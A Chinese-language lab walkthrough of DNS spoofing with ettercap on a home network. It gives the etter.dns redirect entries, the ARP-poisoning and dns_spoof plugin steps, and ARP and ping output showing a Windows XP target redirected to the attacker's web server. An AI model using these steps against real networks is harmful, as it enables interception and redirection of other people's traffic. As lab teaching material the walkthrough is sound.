ettercap的DNS欺骗
ettercap的DNS欺骗
DNS:域名系统，根据域名查询IP地址
DNS欺骗：攻击者冒充DNS服务器，向受害人访问某域名时返回虚假的IP地址
网关：192.168.1.1 （路由器）
靶机：192.168.1.8 （Windows XP）
攻击机：192.168.1.7（Mac）
查看靶机ARP缓存信息：
C:\Documents and Settings\Administrator>arp -a
Interface: 192.168.1.8 --- 0x2
Internet Address Physical Address Type
192.168.1.1 ec-xx-xx-xx-xx-3f dynamic
C:\Documents and Settings\Administrator>ping www.baidu.com
Pinging www.baidu.com [192.168.1.5] with 32 bytes of data:
Reply from 192.168.1.5: bytes=32 time<1ms TTL=64
开始攻击：
1.进行欺骗之前需要对ettercap的dns文件进行编辑
vim /etc/ettercap/etter.dns (linux下）
vim /usr/local/etc/ettercap/etter.dns(MacOS）
$ which ettercap 可以查看ettercap安装在哪，在哪找到etter.dns
/usr/local/bin/ettercap 所以mac下etter.dns在/usr/local/etc/ettercap下
内容如下：
################################
microsoft sucks ;)
redirect it to www.linux.org
microsoft.com A 107.170.40.56
*.microsoft.com A 107.170.40.56
www.microsoft.com PTR 107.170.40.56 # Wildcards in PTR are not allowed
www.baidu.com A 192.168.1.7 #把靶机访问百度时，跳转到192.168.1.7的攻击机上
（* A 192.168.1.7 #代表所有网站）
2.攻击机上创建web服务：
echo "hello world." > index.html
python -m SimpleHTTPServer 80
Serving HTTP on 0.0.0.0 port 80 ...
3.攻击机上打开ettercap(Mac上打开界面:sudo ettercap -G)，点击Sniff->Unified sniffing->eth0
4.Hosts->Scan for hosts
5.Hosts->Host list
6.选择192.168.1.8靶机IP，点击Add to Target1,选择192.168.1.1网关点击Add to Target2
7.Mitm->ARP poisoning->勾选Sniff remote connections，此时就已经对靶机进行了欺骗，到靶机上查看ARP缓存，发现192.168.1.1网关IP的MAC地址变成了攻击的MAC地址，这样发给网关的数据就会发送给攻击机了。
C:\Documents and Settings\Administrator>arp -a
Interface: 192.168.1.8 --- 0x2
Internet Address Physical Address Type
192.168.1.1 08-xx-xx-xx-xx-5e dynamic
192.168.1.7 08-xx-xx-xx-xx-5e dynamic
8.Plugins->Manage the plugins->双击dns_spoof
9.Start->Start sniffing
10.在靶机上访问百度就会跳转到攻击机上，http://www.baidu.com会显示hello world.这里是http而不是https，https我这里显示错误，暂时不知道原因
C:\Documents and Settings\Administrator>ping www.baidu.com
Pinging www.baidu.com [192.168.1.5] with 32 bytes of data:
Reply from 192.168.1.7: bytes=32 time<1ms TTL=64
结束攻击后，靶机上dns一直不更新，ping www.baidu.com还是192.168.1.7，这时可以强制刷新dns:
C:\Documents and Settings\Administrator>ping www.baidu.com
Pinging www.baidu.com [192.168.1.5] with 32 bytes of data:
Reply from 192.168.1.5: bytes=32 time<1ms TTL=64
C:\Documents and Settings\Administrator>ipconfig /flushdns
Windows IP Configuration
Successfully flushed the DNS Resolver Cache.
C:\Documents and Settings\Administrator>ping www.baidu.com
Pinging www.baidu.com [61.135.169.125] with 32 bytes of data:
Reply from 61.135.169.125: bytes=32 time=5ms TTL=57
其他参考：
https://www.cnblogs.com/BloodZero/p/4454035.html
https://www.cnblogs.com/hkleak/p/5043063.html